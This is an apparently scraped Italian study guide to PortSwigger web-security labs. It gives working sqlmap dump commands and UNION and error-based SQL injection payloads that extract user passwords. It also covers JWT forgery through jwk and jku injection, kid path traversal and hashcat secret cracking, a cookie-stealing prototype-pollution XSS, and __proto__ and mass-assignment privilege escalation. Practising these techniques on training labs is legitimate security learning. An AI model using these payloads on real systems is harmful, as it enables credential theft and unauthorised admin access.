![SQLMAP utilizzato per scaricare dati dalle tabelle](https://assets.kitploit.com/production/public/readmes/51008/e91562db7de520c05b332d6ea72d4fd6ce995a1a990df232da525c2f43cadf7f/74ef860e904c08dc72a71d2fc729d39c847fce7675ee88d18347351f729240e5-display-v1.webp)  

>Questo è anche un buon punto di partenza con SQLMAP per ***identificare*** ed estrarre dati da una SQL injection sensibile basata su errore e ritardo temporale nei filtri di ricerca avanzata dell'esame.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

sqlmap 1.7.2 stable

Guida all'uso di SQLMAP

SQLMAP DBS per ottenere i database.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs

root@kitploit:~
>Utilizza SQLMAP per eseguire il dump delle tabelle identificate dal database `public`.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

Continua a usare la tecnica E di SQLMAP per ottenere il contenuto di users.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump

root@kitploit:~
### Non-Oracle SQLi manuale  

>Attacco SQL injection UNION, determinando il **numero di colonne** restituite dalla query.```SQL
'+UNION+SELECT+NULL,NULL--

Determinato che vengono restituite due colonne. Trovare una colonna contenente text, da utilizzare per riflettere le informazioni estratte.```SQL '+UNION+SELECT+'fuzzer',NULL--

root@kitploit:~
>Successivamente ***identificando*** un elenco di **tabelle** nel database.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

OPZIONALE: Recupera i dati da altre tabelle, usa il codice qui sotto come payload per recuperare il contenuto della tabella users.```SQL '+UNION+SELECT+username,+password+FROM+users--

root@kitploit:~
>Recupera i nomi delle **colonne** nella tabella ***users***.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

Ultimo passo è scaricare i dati dalle colonne username e password.```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--

root@kitploit:~
>**EXTRA:** Se hai solo una colonna da cui estrarre dati testuali, concatena più valori in un singolo campo di output riflesso usando i caratteri di sintassi SQL ```||``` del database.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

manual-sqli.png

Lab PortSwigger: attacco SQL injection, elenco dei contenuti del database su database non Oracle

SQLi basata su errori visivi

Aggiungendo una virgoletta singola alla fine del valore del cookie TrackingId, possiamo identificare e confermare l'SQL Injection in base al messaggio nella risposta.

identify-visual-error-based-sqli.png

I due payload convalidano che il record administrator è il primo record, e poi recuperano la password per l'account Administrator dalla tabella user del database, dalle colonne username e password.``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;

TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;

root@kitploit:~
>A causa del limite di lunghezza del valore del cookie, il payload viene accorciato utilizzando `limit 1` e il valore effettivo del cookie viene sostituito con una semplice lettera `x`. La SQL injection utilizza la [funzione CAST](https://portswigger.net/web-security/sql-injection/blind).  

![Funzione CAST di SQL injection](https://assets.kitploit.com/production/public/readmes/51008/8cbe3158f15d53a4fd4b4871f9ac4d84b3afe63769c73e89305d9df5690b6b81/67b43c731a975eaa82e1bb9bee41c17f69d0d82d9b61a9f34ca38680adb38969-display-v1.webp)  

[Lab PortSwigger: SQL injection basata su errori visibili](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)  

-----

## JWT  

[Bypass JWT tramite JWK](#manual-sqli)  
[Segreto debole JWT](#jwt-weak-secret)  
[Header kid di JWT](#jwt-kid-header)  
[Header jku arbitrario di JWT](#jwt-arbitrary-jku-header)  


>I JSON web token (JWT) vengono utilizzati per inviare dati JSON firmati crittograficamente e sono più comunemente usati per inviare informazioni ("claims") sugli utenti come parte dell'autenticazione, della gestione delle sessioni e del controllo degli accessi.  

### Bypass JWT tramite JWK  

>Lo scanner Burp ***identifica*** la vulnerabilità nel server come **supporto dell'header JWK autofirmato per JWT**. È possibile sfruttarla attraverso un controllo non riuscito dell'origine della chiave fornita.  
>**jwk (JSON Web Key)** - Fornisce un oggetto JSON incorporato che rappresenta la chiave.  

>Passaggi di sfruttamento del bypass dell'autenticazione tramite iniezione dell'header jwk:  

1. Nuova chiave RSA  
2. Nella richiesta del payload JWT, cambia il valore del **sub claim** in administrator  
3. Seleziona Attack, quindi seleziona **Embedded JWK** con la chiave RSA appena generata  
4. Osserva che un parametro ```jwk``` ora contiene la nostra chiave pubblica; l'invio della richiesta comporta l'accesso al portale admin  
  
![header jwk](https://assets.kitploit.com/production/public/readmes/51008/ce35d027fc88ad31fd8b852c8ad1913fd2f5bd8b08923304b385f7023aa0ccb2/3b8f9b446cebdaefc49adb6838972ef19bdd5a66dac508eb888a5ba5305292e4-display-v1.webp)  

[Lab PortSwigger: bypass dell'autenticazione JWT tramite iniezione dell'header jwk](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)  

### Segreto debole JWT  

>Forza bruta della chiave di firma JWT debole utilizzando `hashcat`.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 

Il risultato di Hashcat fornisce il segreto, da utilizzare per generare una chiave di firma contraffatta.

Bypass dell'autenticazione JWT di PortSwigger tramite chiave di firma debole

Intestazione kid di JWT

Meccanismo basato su JWT per la gestione delle sessioni. Per verificare la firma, il server usa il parametro kid nell'header JWT per recuperare la chiave pertinente dal proprio file system.
Genera una nuova chiave simmetrica e sostituisci la proprietà k con il byte nullo in base64 AA==, da utilizzare quando firmi il JWT.
kid (ID della chiave) - Fornisce un ID che i server possono usare per identificare la chiave corretta nei casi in cui ci sono più chiavi tra cui scegliere.

JWS``` { "kid": "../../../../../../../dev/null", "alg": "HS256" }

root@kitploit:~
>Payload```
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

jwt

Laboratorio PortSwigger: bypass dell'autenticazione JWT tramite path traversal nell'header kid

Header jku arbitrario del JWT

Lo scanner Burp ha identificato una vulnerabilità indicando che l'applicazione sembra fidarsi dell'header jku del JWT trovato nel punto di inserimento manuale. Ha recuperato una chiave pubblica da un URL arbitrario fornito in questo header e ha tentato di usarla per verificare la firma.
jku (JSON Web Key Set URL) - Fornisce un URL dal quale i server possono recuperare chiavi contenenti la chiave corretta.

Passaggi dell'exploit per caricare un JWK Set malevolo, quindi modificare e firmare il JWT:

  1. Genera automaticamente nuova coppia di chiavi RSA e ignora la dimensione.
  2. Nel corpo del server di exploit crea un JWK vuoto { "keys": [ ] }.
  3. Copia la chiave pubblica come JWK dalla nuova coppia di chiavi RSA generata nel passaggio precedente, tra le parentesi quadre del corpo dell'exploit [ paste ].
  4. Copia il valore kid della chiave RSA generata nel valore dell'header kid del JWT della richiesta /admin.
  5. Imposta il nuovo parametro jku al valore dell'URL del server di exploit https://exploit-server.net/exploit.
  6. Cambia il valore del payload JWT del claim sub in administrator.
  7. Nella richiesta /admin in Repeater, in fondo alla scheda JSON Web Token, clicca su Sign.
  8. Nell'opzione Sign, seleziona quindi la RSA signing key generata nei passaggi precedenti.

jwt-jku-header-setup.png

Il server di exploit che ospita il contenuto della chiave pubblica JWK.```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]}

root@kitploit:~
![jwt-jku-header-exploit-server.png](https://assets.kitploit.com/production/public/readmes/51008/9a204d1ac713ebb90c2a2ea1d3d0262157863148f44b10dfe3fb57d32e84e476/2cb0be1ecadaf45760b6c769e2060fb2dce33895d631682e9f61e356700446c6-display-v1.webp)  

[PortSwigger Lab: bypass dell'autenticazione JWT tramite iniezione dell'header jku](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)  
  
-----

## ProtoType Pollution  

>L'attaccante aggiunge proprietà arbitrarie ai prototipi degli oggetti JavaScript globali, che vengono ereditate dagli oggetti definiti dall'utente e portano a XSS DOM lato client o all'esecuzione di codice lato server.  

[Client-Side Proto](#client-side-proto)  
[Server-Side Proto](#server-side-proto)  
[Dom Invader: Abilitare Prototype Pollution](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution)  
  
### Client-Side Proto  

>Un target è vulnerabile a XSS DOM tramite la prototype pollution lato client. **[DOM Invader](#dom-invader)** ***identificherà*** il gadget e, utilizzando un payload ospitato, eseguirà phishing rivolto alla vittima e ruberà il suo cookie.  

>Nella sezione Body del server di exploit, ospita un exploit che reindirizzi la vittima a un URL dannoso.```html
<script>
    location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>  

Proto pollution

L'immagine sopra mostra la richiesta di phishing Deliver to Victim che viene inviata.

PortSwigger Lab: Prototype pollution lato client nelle librerie di terze parti

Proto pollution

Proto lato server

Per identificare la Proto pollution, inserisci quanto segue in una richiesta POST JSON quando aggiorni le informazioni del profilo utente autenticato con un ruolo a bassi privilegi.
Guarda il video di istruzioni di Trevor TJCHacking su PrivEsc tramite prototype pollution lato server.```JSON "proto": { "foo":"bar" }

root@kitploit:~
![identifica __proto__](https://assets.kitploit.com/production/public/readmes/51008/c112512ded8e858f47752489625221d1bf364e687dbee58c550422904cae97e2/26cdbc7bf19f5fed4b3051d5294f8b20e0f5bee781e2b6a954fa2280ca5063d8-display-v1.webp)  
  
>Osserva la proprietà ```isAdmin``` e reinvia la richiesta POST di aggiornamento account con il payload ```__proto__``` qui sotto per elevare il nostro ruolo di accesso ad Amministratore.```JSON
"__proto__": {
    "isAdmin":true
}

PortSwigger Lab: Escalation dei privilegi tramite prototype pollution lato server


Test delle API

Exploiting a mass assignment
API Reset Password Parameter Pollution

Sfruttare un mass assignment

API che esegue una richiesta GET e subito dopo una richiesta POST; nella richiesta POST nota parametri JSON aggiuntivi nel corpo della risposta, che indicano campi di parametri nascosti. Aggiungere campi nascosti come {"admin":true} può elevare l'accesso a utenti con privilegi superiori o ottenere informazioni sensibili sull'utente.

Nell'esercizio di laboratorio qui sotto, il sito e-commerce ha un parametro di sconto e aggiungerlo con valore 100 consente di rendere gratuito il prodotto al momento del checkout.

Parametro nascosto di mass assignment

Escalation dei privilegi utilizzando parametri nascosti degli endpoint API nelle richieste HTTP con verbi POST o PATCH.```json { "username": "carlos", "email": "[email protected]", "isAdminLevel": true }

root@kitploit:~

Read more

Scarica lo strumento
  • Invia la richiesta e ottieni l'accesso al portale admin.